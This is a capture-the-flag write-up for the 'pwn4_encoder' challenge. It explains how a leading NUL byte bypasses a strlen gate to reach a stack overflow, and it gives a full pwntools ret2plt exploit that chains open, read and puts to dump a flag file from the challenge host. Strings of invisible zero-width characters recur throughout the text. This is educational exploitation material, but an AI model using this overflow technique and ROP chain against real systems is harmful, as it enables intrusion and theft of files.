← Back to Writeups
CUSTOMMediumpwn

pwn4_encoder

XESXOR9/2/20265 min read
#pwn#custom#medium#fd_brute_force#leading_nul_strlen_bypass#open_read_puts_chain#proc_self_maps_recon#ret2plt_rop#linux

pwn4_encoder

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: fd_brute_force, leading_nul_strlen_bypass, open_read_puts_chain, proc_self_maps_recon, ret2plt_rop

Summary

Task: NON-PIE x86-64 'EnCoder' pwn that hides a stack buffer overflow behind a strlen length gate; the XOR-random encoding output and clock() timing are deliberate red herrings. Solution: bypass the strlen(buf)>0x10 check with a leading NUL byte (read() still copies the full 1024-byte payload), then ret2plt ROP an open/read/puts chain to dump /home/task/flag.txt — brute-forcing the file descriptor (open returns fd 5 under socat, not 3).

pwn4_encoder — pwn_spbctf

Description

Here is EnCoder

Author: Artur Khanov (@awengar) — category Pwn, tier pwn4 "shellcoding" Remote: nc 109.233.56.90 11675

A 64-bit x86-64 ELF "encoder" service. Despite the name and the "shellcoding" tier label, the real bug is a classic stack buffer overflow. The goal is to read the flag file from the remote container.

Analysis

Binary properties

ELF 64-bit LSB executable, x86-64, dynamically linked, not stripped
NON-PIE  (loaded at 0x400000)
NX       enabled
No stack canary

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

NON-PIE + NX + no canary is the textbook setup for a straightforward ret2plt ROP — all PLT stubs and gadgets sit at fixed addresses, and there is no canary to leak.

The red herrings (DELIBERATE — leak nothing)

main reads input and calls encode(), which:

  • opens /dev/urandom into a global random_bytes[0x400],
  • for each input byte computes out[i] = ((src[i] ^ random_bytes[i]) % 26) + 'a',
  • prints "%s %d %.4f" — the encoded string, the input length, and a clock() timing value. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Both the XOR-with-random output and the timing are intentional distractions:

  • The encoding has no data-dependent branch, so the timing only reveals the input length, nothing about its content.
  • The XOR is against fresh /dev/urandom bytes, so the printed string carries no recoverable information.

When a "pwn" binary advertises an encoder/crypto gimmick but then reads far more bytes than its buffer can hold, the crypto is theater — look for the overflow.

The real vulnerability — overflow behind a strlen gate

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

main @ 0x40128c:

c
char buf[0x40];           // 64-byte stack buffer at rbp-0x40
read(0, buf, 0x400);      // reads up to 1024 bytes -> overflow
if (strlen(buf) > 0x10) { // the ONLY guard
    puts("...16 bytes max!");
    exit(0);
}
encode(buf);

The guard checks strlen(buf) > 0x10, but read() has already copied the full 1024 bytes into the 64-byte buffer before the check runs. strlen stops at the first NUL byte, so a payload that starts with \x00 makes strlen(buf) == 0 and sails through the gate, while the bytes after the NUL still sit on the stack and overwrite: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • saved RBP at offset 64,
  • saved RET at offset 72.

Gadgets and PLT (fixed, NON-PIE)

PLT:
  puts   0x401030
  printf 0x401060
  read   0x401080
  open   0x401090

Gadgets:
  pop rdi ; ret              0x4013c3
  pop rsi ; pop r15 ; ret    0x4013c1
  pop rdx ; ret              0x401285
  ret (alignment)            0x40101a

BSS scratch:
  path string  0x404300
  file buffer  0x404400

Solution

ret2plt ROP chain implementing open / read / puts to leak the flag file. The flag path is sent in a second stage via an initial read() into BSS, so we don't need the path string baked into the (NUL-sensitive) first payload. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Chain:

  1. read(0, BSS_PATH, 64) — send the flag file path as stage-2 input.
  2. open(BSS_PATH, 0) — open the flag file; fd lands in rax.
  3. read(fd, BSS_BUF, 200) — read file contents.
  4. puts(BSS_BUF) — print them.

Gotcha 1 — file descriptor is 5, not 3

On a normal local run, the first open() returns fd 3. On the remote, the service runs under socat, which dups the client socket onto fds 3 and 4, so the freshly opened flag file gets fd 5. The read() in step 3 must use the correct fd. The fix is to brute-force fd ∈ {3,4,5,...} (exp_fd.py), and fd 5 works on the remote. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Gotcha 2 — locating the flag file

Initial guesses (/flag, flag, /s3cr3t_f1l3_w1th_fl0g) did not exist. Using the same ROP primitive to read /proc/self/cmdline ("./task") and /proc/self/maps (binary at /home/task/task) revealed the working directory is /home/task/. The flag file is therefore /home/task/flag.txt.

Exploit (exp_encoder.py)

python
#!/usr/bin/env python3
import sys, time, re
from pwn import *

context.update(arch='amd64', os='linux', log_level='info')
HOST, PORT = '109.233.56.90', 11675
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

plt_puts = 0x401030; plt_read = 0x401080; plt_open = 0x401090
pop_rdi = 0x4013c3; pop_rsi_r15 = 0x4013c1; pop_rdx = 0x401285; ret = 0x40101a
BSS_PATH = 0x404300; BSS_BUF = 0x404400

def chain(fd):
    pad = b'\x00' + b'A'*71          # leading NUL => strlen==0 passes the gate
    c  = b''
    # 1) read(0, BSS_PATH, 64) -> stage-2 path string
    c += p64(pop_rdi) + p64(0)
    c += p64(pop_rsi_r15) + p64(BSS_PATH) + p64(0)
    c += p64(pop_rdx) + p64(64) + p64(plt_read)
    # 2) open(BSS_PATH, 0)
    c += p64(pop_rdi) + p64(BSS_PATH)
    c += p64(pop_rsi_r15) + p64(0) + p64(0) + p64(plt_open)
    # 3) read(fd, BSS_BUF, 200)   -- fd is 5 under socat, NOT 3
    c += p64(pop_rdi) + p64(fd)
    c += p64(pop_rsi_r15) + p64(BSS_BUF) + p64(0)
    c += p64(pop_rdx) + p64(200) + p64(plt_read)
    # 4) puts(BSS_BUF)
    c += p64(ret)                    # 16-byte stack alignment (movaps safety)
    c += p64(pop_rdi) + p64(BSS_BUF) + p64(plt_puts)
    return pad + c
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

PATH = b'/home/task/flag.txt'
FD   = 5                             # remote: socat dups occupy 3/4

io = remote(HOST, PORT)
payload = chain(FD)
assert len(payload) <= 0x400
io.send(payload);          time.sleep(0.4)
io.send(PATH + b'\x00');   time.sleep(0.4)
data = io.recvall(timeout=8)
print(repr(data))
m = re.search(rb'SPBCTF\{[^}]*\}', data, re.I)
if m:
    print("FLAG:", m.group(0).decode())
io.close()

To find the fd / path interactively, exp_fd.py runs the identical chain with a parameterised fd and path so you can sweep fd 3 -> 5 and probe /proc/self/cmdline, /proc/self/maps, and candidate flag paths. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍